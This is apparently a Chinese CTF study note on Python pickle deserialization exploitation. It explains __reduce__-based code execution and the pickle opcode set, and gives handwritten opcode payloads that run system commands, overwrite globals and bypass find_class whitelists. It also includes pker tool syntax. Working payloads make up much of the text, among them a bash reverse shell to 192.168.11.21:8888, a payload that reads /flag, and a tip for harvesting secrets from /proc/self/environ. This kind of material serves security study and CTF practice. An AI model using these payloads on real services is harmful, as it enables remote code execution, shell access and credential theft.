[toc]
参考http://blog.csdn.net/2401_86640358/article/details/141905074
https://xz.aliyun.com/news/7032#toc-11
https://xz.aliyun.com/news/6608#toc-5
是什么,怎么打
先看一个例子
import pickle
import os
class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))
if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)
_reduce_函数在pickle反序列化中被自动调用,并根据它的return值执行代码,第一个参数是被调用函数,第二个参数是函数的参数
但要注意
os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0
os.popen() 无法读取程序执行的返回值
推荐
result = subprocess.run(['ls', '-l'], capture_output=True, text=True)
当然,也可以使用read函数读取结果
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))
可以通过读环境变量的形式拿到secret_key
/proc/self/environ 当前进程的环境变量 调试、确认自己运行环境
/proc/1/environ init/systemd(PID 1)的环境变量 查看系统启动时的全局环境,有时能获取系统信息或调试容器
opcode篇
高级玩法:使用opcode,因为reduce函数本质上其实是用的R指令,当R指令被禁用时,就需要用其他指令来绕过
- pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
当你在类里定义了 __reduce__
:
pickle
序列化时会在操作码流里生成一个REDUCE
指令。- 反序列化时遇到
REDUCE
,就会执行你提供的(callable, args)
→ 执行函数,返回结果作为对象。
这也是 pickle RCE(远程代码执行) 的原理来源:
因为 REDUCE
操作码可以调用任意可调用对象。
| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
| —— | ———————————————————— | ————————————————– | ———————————————————— | ———— |
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
| N | 实例化一个None | N | 获得的对象入栈 | 无 |
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
| p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
字节码的应用
全局变量覆盖
# secret.py
name='TEST3213qkfsmfo'
```
# main.py
import pickle
import secret
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
print('before:',secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',secret.name)
| 行 | 含义 |
| ———– | ———————————————————— |
| c__main__
| 指定模块名(protocol 0 的 GLOBAL
操作码)。 |
| secret
| 指定全局对象名 secret
。 |
| (S'name'
| 压栈字符串 'name'
。 |
| S'1'
| 压栈字符串 '1'
。 |
| d
| DICT
指令:将栈顶两两弹出,生成一个字典 { 'name': '1' }
。 |
| b
| BUILD
:把这个字典用来更新之前的对象(secret
模块)。 |
| .
| STOP
:反序列化结束。 |
你写的顶层变量、函数、类都在 __main__
命名空间下。如果在 __main__
里 import 了 secret
模块,secret
就存在于 globals()
,也能被 GLOBAL
找到。或者在sys.path里也能被global找到
sys.path
是 Python 内置模块 sys
的一个属性。
它是一个 列表 (list),里面存储了一系列 目录路径。
当你用 import xxx
导入模块时,Python 会按顺序在这些目录里查找。
函数执行相关的opcode
R
b'''cos
system
(S'whoami'
tR.'''
1️⃣ c os\nsystem\n
c
:GLOBAL 指令- 语法:
c module\nname\n
- 作用:从指定模块里取出一个全局对象。
os
:模块名system
:模块里名为system
的对象- 这一步得到的就是
os.system
函数对象。
2️⃣ (S'whoami'
(
:MARK(做一个栈标记,用来界定参数开始)S'whoami'
:STRING 指令,表示字符串"whoami"
- 这一步把
"whoami"
压入栈。
3️⃣ t
t
:TUPLE 指令- 用 MARK 之后到栈顶的所有元素组成一个元组。
- 这里就变成
('whoami',)
。
4️⃣ R
R
:REDUCE 指令- 语法:
R
把栈顶的 callable(可调用对象)和参数元组应用,调用后把返回值放回栈。 - 这里就是调用
os.system('whoami')
。 - 副作用:在反序列化时就会执行系统命令。
5️⃣ .
.
:STOP 指令,pickle 数据流结束。
i
b'''(S'whoami'
ios
system
.'''
o
b'''(cos
system
S'whoami'
o.'''
注意:pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行
了解pickle.Unpickler.find_class()
由于官方针对pickle的安全问题的建议是修改find_class()
,引入白名单的方式来解决,很多CTF题都是针对该函数进行,所以搞清楚如何绕过该函数很重要。
什么时候会调用find_class()
:
- 从opcode角度看,当出现
c
、i
、b'\x93'
时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。 - 从python代码来看,
find_class()
只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()
就不会再调用,也就是说find_class()
只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__
绕过一些黑名单。
以这个例子为例,只允许__main_模块,不难想到可以做一些变量覆盖
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': # 只允许__main__模块
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
运行调用builtins模块
builtins
就是 Python 的全局内置集合,包含了函数、类型和异常。平时我们直接用 len()
、int()
、print()
时,其实就是在用 builtins
里的对象。导入 builtins
可以让你在运行时查看、替换或恢复这些全局对象。
反弹shell的payload
b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'"
tR.
'''
pker的使用
https://github.com/eddieivan01/pker
system=GLOBAL('os', 'system')
system('bash -c "bash -i >& /dev/tcp/192.168.11.21/8888 0>&1"')
return
pker语法规则
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)
INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para
OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para
xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值
xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置
return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
全局变量覆盖
secret=GLOBAL('__main__', 'secret')
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
覆盖secret类的属性
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'
相当于from guess_name import game
函数执行
通过R调用
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
通过i调用
INST('os', 'system', 'whoami')
通过c和o调用
OBJ(GLOBAL('os', 'system'), 'whoami')
多参数调用
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
实例化对象
animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
先实例化再赋值
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal
只允许使用一级子模块的绕过思路
不断将当前模块往后推,让它成为下一级子模块,再继续找下一级子模块,最终让允许的模块变成可以执行命令的模块